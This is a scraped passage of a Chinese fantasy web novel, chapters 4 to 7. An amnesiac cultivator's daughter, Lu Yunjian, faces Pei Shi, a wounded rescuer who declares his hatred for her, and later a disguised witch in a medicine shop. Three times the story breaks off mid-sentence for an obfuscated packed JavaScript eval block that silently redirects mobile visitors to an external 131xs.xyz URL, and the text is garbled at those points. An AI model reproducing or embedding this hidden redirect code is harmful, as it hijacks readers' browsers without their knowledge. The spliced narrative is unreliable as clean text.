陆云笺一时没有看清他是谁,只闻见扑面而来的清冽白梅香。 下一刻,浓重的血腥味弥散开来,遮掩了淡淡梅香。 那段粗壮的枝条被他挡住,生生洞穿了他的肩膀! 陆云笺手一抖,刚刚成型的阵法脱手而出,在地面砸出一声轰然炸响。 压制阵法叠加在先前烈火符燃起的烈焰上,火势瞬时沿着巨木的根蔓延开来,万道枝条或被烈火焚尽,或竞相逃入地底,那段粗壮枝条也瞬时化作了飞灰,可鼻间的血腥气却愈来愈重。 肩膀被贯穿,一时再无力拿起剑,裴世只得将剑收了,半靠在陆云笺身上。 饶是伤重,他的语气却还是生冷讥嘲的:“陆云笺,你想死吗?” 4. 经年恨(1) 陆云笺下意识侧身扶稳了他,抬头看清是他后更是惊愕:“裴世?!你……” 裴世垂着眸不看她,也没再说话。 巨木根系再度被镇入地底,万道枝条退去,只在他肩上留下了一个狰狞可怖的血窟窿。 不知为何,那窟窿里竟不住地往外冒出点点金色光芒,掩去了血色,反倒有种诡异的绚丽。 陆云笺正觉奇异,裴世却抬手用灵力封住了那伤口,金色光芒霎时便不见了。 没了那光芒映着,裴世此时看上去脸色苍白几乎奄奄一息,陆云笺这才反应过来,再顾不得其他,一手扶住裴世,一手艰难地朝陆明周挥舞着:“哥!你快来看看!” 树妖退去,周围的一切景色都恢复了原样,看来他们方才果真处在一方幻境当中,是以这边打得热火朝天,云间世其他地方却还是寂静如常,并无异样。 陆明周从空中落下,闻言正欲去扶,裴世却不着痕迹地避开了他:“不劳……” 话还未说完,陆明周便一把扯过他往屋里拽:“裴公子伤得重,还是先去屋中休息片刻为好。” 裴世:“……” 屋内的灯还未熄灭,陆明周为裴世细细察看了伤口,转身正欲推门而出,陆云笺如临大敌,一把拽住他:“哥,你去干什么?” 陆明周不明就里地回过头:“我身上伤药不足,得先回去取药。” 陆云笺忙推着他往屋外去:“我跟你一起去。”说着忙不迭合上屋门,拉着陆明周快步走出一段距离,陆明周微觉奇怪,道:“怎么了?” 陆云笺回头见裴世并未跟来,且房中灯亮如常,这才稍稍放心,道:“哥,裴世这人真的特别奇怪,照你说的,我之前和他感情特别好,而且加上这次,他已经救了我两次了,但是我的手,”她举起自己的左手,“就是刚刚在房里,他拧断的。” 陆明周蹙眉道:“什么?” 陆云笺点头:“真的,我就是想跟他打个招呼,结果他就拧断了我的手,然后我跑,他就追过来掐我脖子。” 她嘴不停歇地交代完事实,这才后知后觉地感到害怕,后背再次蹿上一阵凉意,她又回头看了流丹阁一眼,才说出结论:“我觉得,他想杀我。” 陆明周道:“可是他方才救了你。我看那伤口的确是树妖枝条贯穿,十分严重,并非作伪。” 陆云笺头脑一片混乱:“我不知道他为什么好像想杀我又要救我,但我是真的不敢轻易靠近他了,更别说什么要跟他熟络起来。” 陆明周却没再说话,只转了方向,没再去药堂。 二人一路默然,唯有脚步不停。 不多时,二人到了陆明周的住所,他在门前驻足,神色凝重:“云笺,你和裴世,是不是有什么误会?” 陆云笺一愣:“我和他见面都不超过三次,能有什么误会?” 陆明周欲言又止,推门进了屋,取出药物,又从墙上暗格取出两样东西,陆云笺没看清那是什么,陆明周取完东西却也没立刻往流丹阁赶,只是在窗前站定,不知在想什么。 借着窗外月光,陆云笺看清了陆明周手里摩挲着的那样东西——一根发丝一般粗细的银丝,像是从窗缝漏进来的一线月光。 半晌,陆明周像是下定了什么决心似的,将那银丝系在陆云笺手腕,道:“这银丝和父亲与我在云间世内布下的一道阵法相连,若你遇到危险,将其扯断,阵法便会发挥效力,护你周全。” 说着又拿出另一样东西系在她腰间,是一枚系着红绳的铃铛:“这铃铛若是感知到杀意会自发而动,你多加留意。” 陆云笺见那铃铛无论怎么动都安安静静,那银丝几乎肉眼难辨,心中有了一两分猜测:“哥,什么意思?” “若他当真……”陆明周顿了一瞬,没有说下去,“我们再去试他一回。” 话虽如此,但陆云笺还是打心底里抗拒,却不知还要怎样推脱。 陆明周又道:“我会一直守在流丹阁外,银丝一断,阵法便会生效,父亲也会即刻赶来。你不会有事。” 陆云笺胆小惜命,但许多时候心一横又敢冲在最前头,因此在现代她自诩“有勇有谋能屈能伸”,季瑶也常常笑着哄她“审时度势随机应变”,只有陆明周断言:“胆小如鼠笨如猪,只有骂人的时候才凶得像老虎。” 陆云笺停在流丹阁门前,想起这一节,不由微微牵了牵嘴角,回头又见陆明周月白色的身影立于树下,稍稍安心了些,深吸一口气,心一横,推门迈了进去。 裴世原本静静倚在椅上边喝酒边看着窗外月光,听见声音,转过头,目光落在陆云笺提着药的手上。 陆云笺悄悄瞥他一眼,又看见他身旁的地板被移开了一块,他的影子落在上头,教人看不清楚,但依稀能看出那是十几个小巧的酒坛子。 好家伙,陆云笺都不知道自己房间有这么个暗格,还藏了这么多酒,倒是裴世熟门熟路,受着伤,竟还惬意地喝起酒来了。 陆云笺先前惊魂不定没有仔细看,这会儿借着灯光,清楚地看见他肩膀处的白色布料已经被血染透,破碎的布料间露出堪称可怖的伤口,忍不住倒吸一口冷气。 这头旁观者光是看着都心惊肉跳,那头当事人却仿佛浑然不觉似的,还火上浇油地喝酒。 陆云笺在心里默默叹了口气:这人总不会还有点自虐倾向吧。 脸上带上关心体贴到堪称狗腿的微笑,陆云笺上前一步:“裴公子,药我拿来了,裴公子看一看伤吧?” 裴世瞥那药一眼,道:“陆明周呢?” 陆云笺面上十分冷静,张口就来:“我哥说云间世有这么大的妖怪作乱不是小事,所以他把药给我之后就去向父亲汇报此事了。” 陆云笺听他冷笑一声,顿时冷汗涔涔,裴世却并未追问,只是道:“这么大的妖怪作乱,云间世本身就有一份功劳。” 陆云笺没听明白,但不敢随便接话,于是默不作声。 裴世却话锋一转,道:“陆明周又打不过我,你让他在门外守着有什么用?”不及陆云笺反应,他伸手向她腰间一扯,原本藏在腰带下的铃铛便被扯了下来。 陆云笺一惊,裴世却没有动怒,也没有将这铃铛碾碎,只是拿在手中把玩,而那铃铛自始至终都安静如常,没有一点声响。 陆云笺不自觉地绷紧了身体,不知道该不该扯断腕上银丝。 正在犹豫间,忽听裴世问道:“陆云笺,你怕我吗?”问完也不等她回答,自说自话道:“是你想杀我。要怕,也是该我怕你。” 陆云笺张口想辩解,最终还是憋了回去,垂眸不说话。 裴世将那铃铛放在桌上,道:“陆云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047591|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笺,你别装傻充愣。失忆?我不信的。你有几句真话?” 沉默片刻,他像是认输了一般,又退一步道:“就算你真的失忆,真的什么都不记得。我也会有办法让你全部想起来。” 就此陷入诡异的沉默,陆云笺站得腿都发酸,觉得不能再这么干耗下去,只好干巴巴地开口:“抱歉裴公子,你说的我是真的听不懂,也什么都记不起来。但还是请先把药上了吧,久了伤口会恶化的。” 裴世冷笑一声。 他解开被血染得鲜红的衣襟,抓过陆云笺的手,把酒壶塞到她手上,陆云笺连眼睛都来不及闭,眼睁睁看着酒水浇上他肩膀处鲜血淋漓的伤口,从心口处一道陈旧却仍然狰狞可怖的疤痕流过。 树妖枝条洞穿的伤口,本就已经开始溃烂。 陆云笺猛地挣开他:“你疯了!” 裴世脸色苍白,连嘴唇都毫无血色,明明痛得微微颤抖,却还是笑着:“这就是药。痛够了,才不会忘记什么不该做。” 言下之意,就是不该救她。 但毕竟还是救了。 陆云笺吓得半死,一时间什么都忘了,拿起伤药和纱布一把按在他的伤口上:“你是不是有病?!” 裴世痛得闷哼一声。 自己犯蠢,忍不住要救她。难道陆云笺也会犯蠢,会不想让他死吗? 明明内心波涛汹涌,可望向陆云笺时,眼神却又宛如一潭死水。 裴世轻捻指尖,毫不费力地捏碎了从陆云笺腰间扯下来的那枚铃铛,那铃铛却从始至终没有发出任何声响,静静地在他指尖碎为齑粉。 他看着她,思考着措辞,思考着怎样宣泄两年岁月浸润的恨意,最后从齿间挤出来的,却是毫无逻辑的字句: “陆云笺,和鬼魈穿心断骨相比,这点伤算什么?” “你死前死后包括现在。我都那么可笑地——我就活该卑微下贱了?” “凭什么你一句失忆就可以理所当然地忘掉一切?不可能的。我想要的答案,终有一天,我会让你亲口告诉我。” “陆云笺,我绝不会原谅你。我恨你。” 话音落,已经不是静默,而是死寂。 陆云笺跌坐在椅上,惊魂尚未定,裴世却将脸埋入手掌中,似笑又似哭,几近癫狂。 外头灯火已渐渐熄灭,铃铛碎了,银丝未断,陆明周也没有现身,云间世忽然之间一片寂静,不闻人声。 陆云笺难以彻底缓过神,枯坐着坐得半边身子都麻了,不知过了多久,裴世忽然抬起脸,那面容仍是如初时一般冷淡,仿佛什么都不曾发生。 他动作极为缓慢地从腰间掏出一把匕首,陆云笺本能地往后缩:“做什么?” 裴世道:“倒是第一回见陆小姐害怕。” “……” “树妖留下的伤口需及时清理腐烂皮肉,否则有毒汁液会蔓延全身。” 他语气相当平淡,若不是声音有些嘶哑,陆云笺甚至会觉得方才的一切都只是她的幻觉。 陆云笺盯着他的一举一动,扶住椅子扶手,又往后缩了半寸。 裴世手上动作却停了,抬眼看她:“破月材料至纯至寒,倒是很合适。” 见陆云笺不说话,裴世朝她伸出一只手,直直看向她:“陆小姐,请你大发慈悲,借我破月一用。” 5. 经年恨(2) “……” 陆云笺一阵无语,心道此人果真阴晴不定捉摸不透。 她犹豫着召出破月递给他,道:“你确定吗?没有麻药。”不过就算是有,看裴世这样子,大概也是不会用的。 “痛?” 裴世轻笑一声,调转刃尖,毫不犹豫地将其刺入胸口。 破月的尖刃没入他的伤口,带出腐烂的皮肉与血沫,血顺着他的腰腹向下,流成一条鲜红的线。 陆云笺痛苦地闭上眼睛、捂住耳朵,连匕首出入皮肉的声音都不敢听,脑海里鲜血淋漓的画面却还是挥之不去。 裴世清理伤口的进程极其缓慢,陆云笺捂着耳朵的手都麻了,才听见裴世把破月放在桌上的声音。 陆云笺试探着睁开眼睛,发现桌上的匕首已被裴世擦拭干净,利刃映着月光,泛着令人遍体生寒的冷光。 裴世像感觉不到疼痛似的,一言不发,淡淡地擦拭着身上的血迹。 陆云笺适时把陆明周给的伤药与纱布全部递给他,见他表情淡漠如常,终于悄悄松了口气。 此人情绪一瞬三变毫无预兆,但好歹最后还是稳下来了。 她并不知道,如此莫名又可笑的情绪,都是他真实的过去,只是斯人已逝,这般冷淡嘲讽绝望疯癫,终究只有他自己知晓。 她也不知道,一个人的一种情绪若在漫长岁月里被反复咀嚼,这种情绪就会变得淡薄,对这种情绪的感知,也会变得迟钝,即便有一日被不可避免地激发出来,只要他想,就能悄无声息地掩藏它。 更何况,裴世自知这种情绪有多么无力,从来不愿过多地表现出来,尤其是面对一个已然失忆的人。 几番宣泄,都不过情不自禁、垂死挣扎。 其实他第一眼就察觉到了陆云笺的不对劲,两人朝夕相处多年,彼此的一举一动,最是熟悉,就算是刻意的伪装,也不能逃过对方的眼睛。 方才他将灵力打入破月试探,破月的灵流不稳,再次告诉了他答案。 他不愿相信,也只是他不愿而已。 他设想过许多种他们重逢的方式,又或许根本不会再重逢……唯独没有想到是这样的陌生。 他有些慌张,因为他知道,自此他的恨、他的怨,都再无法宣之于口。于是他别无选择地向她宣泄,却终于不得不相信,从前的陆云笺,再也回不来了。 而他从前所做的努力、如今发泄的恨意,都只是他自导自演。 他感到委屈,又自觉可笑。然而命数若是如此,那便无法抗拒。 陆云笺等着他包扎好伤口、穿好衣服,便如释重负道:“裴公子受了伤,还是早些回房休息吧。” 说完她才反应过来,裴世好歹是伤号,还是因为她受的伤,自己火急火燎地赶人未免有些不像话。 陆云笺一时不知如何是好,正苦苦思索着说辞,忽听裴世幽幽说道:“陆小姐急什么,不如先喝点酒,压压惊。”说着起身,将酒壶递给了她。 陆云笺摸不清他的目的,一边干巴巴地笑,一边连连摆手:“不了不了,我不喝酒,不喝酒。” 裴世道:“怕什么?这酒里没毒,我都喝了那么多了。毒不死你。” 陆云笺本也不是怕毒,闻言心中陡然升起一股火气,一把夺过酒壶,手上却还留了几分意,只小心翼翼地抿了一口。 初时没尝到味道,便又实打实喝了一口。 然而不知是不是这酒太烈,一口下去,她立刻被呛到了。 裴世道:“两年不喝,酒量还是这么差?” 陆云笺被呛出了眼泪,没心思再和他置气了。 其实无论哪个时空的陆云笺酒量都很差,只是云间世的陆小姐会用灵力撑着,不显出醉态,而现代的她没喝过酒,不知道自己是什么水平。 和“初生牛犊不怕虎”一个道理,陆云笺不知道自己酒量几何,因此格外勇敢。 而她的酒量差,裴世从来都知道。 他有心把她灌醉,想要问出她的真心。即便知道无用,也还是想再挣扎一番,直到彻底死心。 或许是酒太烈了些,陆云笺才喝了一口,不出片刻,头就开始晕晕沉沉起来。 她朦朦胧胧听见裴世问:“之前你明明有机会杀我,为什么不下手?” 他说的是在流丹阁,陆云笺用破月抵住他脖颈那次。 陆云笺头脑不清醒,没弄明白他指的是什么,只是昏昏沉沉地也问了句:“你不是想杀我的吗?为什么又要救我?” 裴世默然片刻,轻声回答:“若你不想杀我,我也……不会杀你。” 陆云笺笑了:“你这人真莫名其妙,我又没想过要杀你。” 裴世垂眸看着她,握着酒壶的手紧了又松松了又紧,他眸中潮汐暗涌又风平浪静,岁月激荡又云淡风轻。 他声音沙哑,像卑微的乞求,又带着可怜的希望;像迫不及待地想要知道答案,却又小心翼翼害怕被听见: “陆云笺,你再说一遍。你是真心的吗?你说的,都是真心的吗?” 陆云笺哼唧两声,没回答。 半晌,她像个傻子一样,又问了一遍:“后半截儿你还没回答我呢,为什么救我?” 裴世没有追问,只是笑笑,拿起桌上的酒壶又喝了一口,顺着她的话:“是啊,为什么呢?” 这酒是从前他们一起用白梅花与木梨花酿的,时时散出清冽花香,滋味浅淡,并不是什么烈酒。 他的酒量也不算很好,可不知为何,这一回如何也喝不醉。 不醉人的酒是没用的,他从前从来都不屑于喝,如今却喝了一口又一口,只觉苦涩。 不管如今陆云笺是否失忆,她从前能毫不犹豫地伤他性命,他对她,都理应只有恨的。 即便他们从前,是知己,是挚友。 这样的恨,他独自咀嚼了两年,早已驾轻就熟。 直到陆云笺出关,他心中都是恨意沸腾,或是难以理解,而不是喜悦,或是别的什么。 直到他不由自主地救她,替她当下树妖的致命一击——他甚至感到委屈,为何两年痛苦、满腔仇恨,都敌不过下意识的举动。 所以受伤,第一时间不是感到疼,而是委屈,委屈到眼眶酸涩,甚至泪如泉涌。 他嘴边嘲讽的字句徘徊许久,却终究没有说出口。 最后,他只是轻声说道:“陆云笺,两年不见了。你没有什么话想对我说吗?” 宛如一颗小小沙砾投入洪流,刹那间湮没无声。 其实他清楚,这样的问题,从不会有答案。 他自嘲地笑着摇摇头,白瓷酒壶又到了嘴边。 “有啊。”陆云笺彻底醉了,昏昏沉沉间忽然活过来一般一把抓住他的手,笑得极为灿烂,“我觉得你要是正儿八经地笑,肯定很好看。” 她的眼睛黑亮黑亮的,映着月光。 “你笑一笑呗。” …… 你笑一笑。 这句话,许久之前,陆云笺就对裴世说过。 那时候裴世还是人人皆可欺压的对象,什么脏活累活弟子们都只管放心地推给他做,而他性情孤僻得很,无人帮扶,法术又弱,便是偶尔不听话,揍一顿也就不得不乖了。 裴世小时候便有一位奇人异士为他卜算过,说他于法术一道并无天赋,且此生仙缘寡薄,若是非要逆命而行、进入仙门,定会招致灾祸,因此极力劝他安安稳稳过完一生,切勿踏入仙门半步。 他的父母也是乡野村民,自然是不想攀什么仙门的,也只求他能安安稳稳无虑无忧。因此他也从不想求什么功名利禄,每日悠闲自在,倒也过得畅快肆意。 后来不知怎地,很少遭遇妖魔鬼怪袭击的乡野小村忽然燃起了熊熊大火,大火包围了整个村庄,烧得高逾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047592|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丈,一只丑陋无比、力大无穷的怪物在村子里肆意屠杀,而村人根本无法越过燃烧的火墙,或被火活活烧死,或被怪物杀害。 那怪物最后终于在橱柜中找到了躲藏许久的裴世,狞笑着,欲把利爪穿透他的胸膛。 恰在此时,一位白衣仙人从天而降,击退了怪物,救下了他。 裴世跟着仙人上了山,求仙人教他法术,想要自己去杀死那只侥幸逃走的怪物,为父母报仇。 可是仙人也劝他不要修习法术,不要沾惹仙门。 既是无人相助,他便打算自己去寻仙门。但仙人不允他下山,他便留下一封信,趁夜偷偷溜下了山。 裴世于修真一道毫不了解,但自仙人所在仙山离开后,一路跋涉过三年,在无数小仙门中偷习过武功与法术,虽无所成,却也听说过名气最盛的天下第一大门派。 他便一路艰难跋涉来到云间世,向看守山门的人说明来意,请求入门学艺。 然而两个守门弟子一见他就皱起眉头,还不等他把话说完便要赶他下山。 但裴世不清楚其他门派,也无力再赶路,走投无路之下,便铁了心地要进云间世,他跪在山门外一遍又一遍地磕头,磕得头破血流,磕得过路的弟子们看见他都大惊失色,议论嗤笑着绕路。 奈何他生命力和意志力都很顽强,整日整夜都呆在云间世山门外,从不曾远离,用弟子们的话来讲,当真是“碍眼得很”。 后来也不知怎么地,许是守门弟子实在不胜其烦,想着过了这道山门,后头几道查验身份、血脉、家世的坎,谅他也过不得,便随手放他进了门。 这一段轶事,门中弟子大多如此草草带过,但裴世清清楚楚地知道,事实并非如此。 那时一个紫衣少女晃晃悠悠地正要下山,看见这么个情景,状似随口地问了守门弟子一句:“这什么情况?” 两个守门弟子恭恭敬敬地朝她行礼,并未看他一眼:“陆小姐,这人是来闹事的。” 裴世正欲辩解,那少女摆摆手对守门弟子道:“这么小的孩子,闹什么事儿。放他进去吧,怪可怜的。” 裴世觉得好笑,这人看起来年岁比他还小,怎么好意思说“这么小的孩子”的? 那少女不知他想的什么,走过他身旁时,顺手扔了瓶药给他:“磕什么头呀,磕得这么惨,涂上涂上。” 说完也不作停留,一转眼便晃下了山。 守门弟子面面相觑,犹豫半天终究还是没说什么,心不甘情不愿地让开路,放他进去了。 进去是进去了,奈何他天赋资质差得很,来路不明又没钱没人脉,自然是没有人愿意收他为徒、教他术法的。 他只好留在云间世做些杂活,攒了些钱交足费用,跟着弟子们修习功课、在演武场练武,他没有拜师,有时便偷偷去看长老们传授自家徒弟术法,自己学了个一知半解,时常被抓住又是一顿好打。 就这么过了好些年也没什么成效,一日他正坐在桥栏上捡石头砸池中的鱼时,一名少女一晃晃到他身边,笑着道:“鱼又没惹你,砸它们作甚?” 裴世一眼便认出这正是几年前助他进入云间世的那个少女,如今待得久了,也知道这正是云间世尊主之女,但他极少与旁人交流,又见那少女是完全不记得自己了,于是跳下桥栏,转头便走。 那少女一闪身便拦下他,还是笑着:“怎么不理人?你一个人么?” 裴世低着头,半晌才慢吞吞吐出一句:“没有人理我。” 那少女笑得更灿烂了:“巧得很,我在这里也是没人理,没人可说话的。” 裴世抬头看着她,眼里是显而易见的难以置信。 那少女却直接忽略了他的眼神,道:“我看你长得这么好看,怎么老是板着一张脸,不说话也没表情,多不好。你应该多笑笑,笑起来更好看。” “你笑一笑呗。” 6. 戮心蛊(1) 第二日陆云笺迷迷糊糊醒来,只觉窗外阳光刺眼,一抬头,发现裴世早已离开,不免有些担心自己喝醉了说错了话。 这么思索着一转头,看见陆明周坐在一旁看着窗外,便毫不犹豫地立刻趴下去,装睡。 陆明周迟疑片刻,还是道:“云笺,我知道你醒了。” 陆云笺不动。 陆明周又道:“怎么样?” 陆云笺闻言睁开一只眼,见陆明周的确没有被她迷惑,便直起身,老老实实道:“不知道,但是哥,我真觉得裴世这人有点不对劲。” 陆明周沏了杯茶,道:“怎么说?” 陆云笺道:“我感觉他很多行为总是自相矛盾。” 她正思考着措辞,陆明周却没再追问此事,而是道:“可是铃铛没有响,银丝也没有断。” 陆云笺不说话。 陆明周继续道:“裴世此人喜怒无常阴晴不定,做事向来干脆利落、不顾后果。若他真想杀一个人……”他没再继续下去,但陆云笺已经明白了他言中之意。 陆云笺思索片刻,道:“哥,我知道你的意思,但是呢,我觉得和裴世熟络起来这事儿急不得。我现在甚至都没弄清楚他是个什么人,我和他又是什么关系,这样冒冒失失地,反倒容易出错。” “我也知道你的意思。云笺,”陆明周顿了片刻,“此事不仅仅是为你。往后你会知晓,你现下做的许多事,与云间世,乃至与整个修真界,都有关联。” 陆云笺一愣,随即一动不动地望着他,试探着问道:“为什么是以后,现在不能知道吗?” 陆明周捏了捏眉心,闭上眼睛:“不是不能,只是为时过早。你苏醒不久,又失了记忆,对此处一切尚不清楚,若要向你解释,怕是只能让你徒增苦恼。” 陆云笺道:“是的,我对这里的一切都不清楚。那么现在要和一个我完全不清楚的人打好关系,不也太早了吗?” “这不一样。” “哪里不一样?” “云笺,”陆明周抬起头,“我只能说,这是从前你的选择。而且我相信,你若是能恢复记忆,也一样会这么选。” “但这事终究是和我密切相关的,即便我会这么选择,但既然我现在要去做,我就应该知道这其中缘由。”陆云笺袖下手指不自觉地握紧,“所以,为什么呢?” “你总会知道的,但现在,不太合适。”陆明周不易察觉地叹了口气,“云笺,不管怎样,你要相信,父亲和我,总归不会害你。” 陆云笺深吸一口气,勉强挤出笑容:“我知道。” 默然片刻,陆云笺终究还是道:“哥,我做了一个很长的梦。在那个梦里,你和爹爹,从来不会让我问为什么。”她几乎是鼓起勇气望进陆明周的眼睛,手指藏在袖下,不安地摩挲着衣袖,等待着他的回答。 陆明周垂着眸,直到陆云笺手指都摩挲得发痛了,才轻声道:“云笺,这已不是梦了。” 这已不是梦了。而她还没醒。 现在她的父亲是天下第一大门派的尊主,她的哥哥是天下第一大门派的少主。 只有她还停留在现代,掂量不清云间世尊主之女该是个什么样子。 不知沉默了多久,陆云笺扯了扯嘴角,把眼泪咽回去,轻声道:“好,我相信哥,也相信爹爹。如果有什么任务需要我的话……我一定会去的。” 陆明周踌躇片刻,从袖中摸出一方锦盒:“若你实在担忧,我这里,有一样东西。” 他将那锦盒掀开来,里头盛的东西十分奇异,像是一条透明的绸缎,其上金光流动,使得那东西看起来像是活物一般。 陆云笺道:“戮心蛊?” 陆明周一怔,道:“你识得此物?” 陆云笺道:“在图鉴上看到过,说是非常少见,当时我看介绍觉得它应该很漂亮,所以记得。” 的确是漂亮。但是它之所以少见,却不是因为什么制作难度大、难以学习或者是什么禁术,而是因为它的作用十分之鸡肋。 戮心蛊,以下蛊之人的血肉气息养成,养得越久,效用越强。 中蛊之人不会受到任何影响,唯一的影响是——假如他对下蛊之人有伤害攻击的想法,下蛊之人能感应到,比如心脏抽痛一下,太阳穴刺痛一下。 所以养蛊的、痛的都是下蛊之人。 如果想要中蛊之人感受到疼痛,那确实也是可以的—— 假如中蛊之人伤了下蛊之人,甚至对下蛊之人的性命造成了威胁,那么他将会承受千倍万倍的疼痛,并且若是下蛊之人已死,那这蛊便无法可解,永远都只能在这样的痛苦里苟延残喘。 但下蛊之人死了,这蛊还有什么意义? 不能防护不能阻止,只能提醒与报复,所以谓之鸡肋。 “……所以哥,你是想让我给裴世下这个蛊?” 陆明周看着那条流动的金光,眸中平静无波:“你重伤闭关前,曾嘱托父亲与我替你养戮心蛊。如今蛊已养成,也算是……物归原主。” 他没说是也没说不是,陆云笺就更犯难了。 裴世此人虽然阴晴不定行为诡异,但伤她一次救她两次,要真算起来,还能算是救命恩人。这么偷偷摸摸一个蛊下过去,就算没什么影响,也实在是不太厚道。 据陆明周所言,当时她重伤闭关,因此这戮心蛊主要是用专用于养蛊的药材养成的,效力虽不如用血肉养的强,但也能用,毕竟是重金买的药材,这么天天养着,养了两年有余。 但戮心蛊在使用之前一天不养就可能直接死亡,如今这蛊到了陆云笺手里,她虽然暂时不想用,但还是得天天带在身上,时不时还得下山去买点专门养蛊的药材。 山下有家其貌不扬甚至非常简陋的药铺,客人却多,只因这家药铺部分药物的功效可谓奇异:譬如使自己的爱人对自己死心塌地;又譬如使自己的痛觉减弱,刀刃砸下来也不觉有半点妨碍。 来去几回,陆云笺也算是常客了,和这药铺里的掌柜也混得挺熟。 掌柜是个二十出头的年轻女子,性子也活泼,看起来不谙世事,制蛊用蛊却很有一手。 这日陆云笺去买药材,照例一踏进药铺就去找掌柜,结果找了半天没见着人,只有隔间里那口大锅还照常咕咚咕咚冒着沸水。 陆云笺进去转了一圈,里头漆黑一片,没有人影,她心下疑惑,再出来时,突然被一样东西绊了一下,低头一看,是个木头人偶,十分矮小,长得倒是圆润可爱。 门口摆个人偶,这还不是最奇怪的。 奇怪的是旁边还趴着一条熟睡的狗,立着个不倒翁,躺着柄油纸伞,还……还坐着个小孩。 真的、活的小孩。靠在墙上睡着了,面如白玉,睫毛一颤一颤,十分可爱。 陆云笺对这种漂亮可爱的小孩儿全然没有抵抗力,忍不住凑近看了一阵,那小孩儿却被她盯醒了,睁开眼,迷糊了一瞬,看清她的脸后,似乎先是一怔,然后眼神冷下去,脸也撇过去了。 陆云笺倒是浑然不觉,手已经不听使唤地上去拧了那小孩儿的脸颊一把,没控制住力度,把人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047593|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家脸都捏红了,正微觉不好意思,忽听身后有人唤她,回头一看,正是药铺掌柜。 陆云笺道:“掌柜姐姐,这小孩儿是你家的吗?好可爱呀。” 掌柜看了那小孩儿一眼,笑道:“是的呀,亲戚家过来玩儿的。”说着便不知从哪儿端出了一碗红中带紫紫中泛黑的茶,递给那小孩儿,笑眯眯地道,“渴了吧?喝点茶。” 小孩儿没接碗,反倒抬眸瞪着她,仿佛下一刻就要把她的脑袋按到碗里去。 陆云笺凑过去瞄了眼,道:“这什么茶?看起来有点怪怪的。” 掌柜面上笑容不坠,道:“乌梅茶呀。” 说着又把那碗往小孩儿面前一送,那小孩儿却板着脸,一抬手径直把那碗打翻了。 陆云笺万万没想到是这么个发展,一手扶了掌柜一把,一手去安抚那小孩儿,小孩儿却凶得很,一巴掌拍掉了她的爪子。 掌柜面色一僵,道:“怎么这么不听话?”说着便要再去盛一碗“乌梅茶”来,盛到一半,又把碗放下了,转身去点熏香。 熏香还没点燃,香炉却猛地爆开了,滚烫的香灰扑面而来,烫得掌柜尖声大叫,掀翻了几案。 陆云笺本在帮忙清理地上的瓷碗碎片,闻声忙过去扶住了她,道:“怎么了?” 掌柜却一把挥开了她,靠在柜台边,捂着脸颤抖着缓了一会儿,却是一把撕下了脸皮。 哪是什么二十出头的年轻女子,分明是个说是耄耋之年都嫌小的老太婆! 陆云笺看清她的脸,立即放了手,倒退几步,缓了几秒便猛地冲出门去。 没几秒那柜台也炸了,老太婆被炸得飞了出去,手上却还没忘一把捞过陆云笺。 陆云笺情急之下抓了几张符咒甩出去,砸在老太婆身上,却是直接悠悠落地了。 陆云笺心一凉,自言自语道:“要命。” 她一向习惯带厚厚一沓各种各样的成品符纸在身上以防万一,然而这次甩出去的几张驱邪符,似乎都是她练习所画,大概是有几笔画得不对,全都无效。 陆云笺被老太婆拽过去锁住,下一刻,一道尖利的事物携着冷光,悬在她颈间。 陆云笺呼吸一滞。 再看对面,哪儿还有什么小孩儿,分明是…… “原来是你,归云仙君。”老太婆锁着陆云笺,冷笑道,“也是我一时疏忽,竟把你也抓来了。” 裴世手中亮起一道金光:“怎么陪你玩了几回,你还来劲了?” 老太婆却不惧,反而哈哈笑道:“这小姑娘是你云间世尊主的女儿,要在这儿死了,你是不是也要落个保护不力的罪名?” 陆云笺闭上了眼睛。 这老太婆威胁裴世算是威胁对人了,他不但大概率不会管,没准老太婆把她杀了,他还会觉得省事了,一箭双雕。 果然,裴世只是冷笑一声,手上的金光没有收敛半分,反倒更盛。 老太婆显然也不太想得罪云间世的人,只是希望裴世停手,她能得到间隙逃出去。 她显然想错了。 “你似乎……” 裴世说着停顿了一下,在这停顿的间隙,“叮当”一声脆响,在一片寂静中激起惊涛骇浪。 紧接着,老太婆尖啸一声,退出数丈远。 她原本锁着陆云笺的那只手连带着半边身子都被裴世不知何时、不知如何放出的金光炸没了,鲜血喷涌而出,溅上她扭曲得不成形的脸。 裴世微微笑着,把话说完:“你似乎,对自己的实力不是很清楚啊。” 7. 戮心蛊(2) 老太婆咳出几大口血,正欲说话,忽然一个暗紫身影不知从哪里蹿出,口中喊道:“裴世你别动,我来!” 来者把老太婆又撞出几丈远,拳打脚踢,边打边道:“你居然敢把本公子变成狗!还是一条要死不活的狗!!” 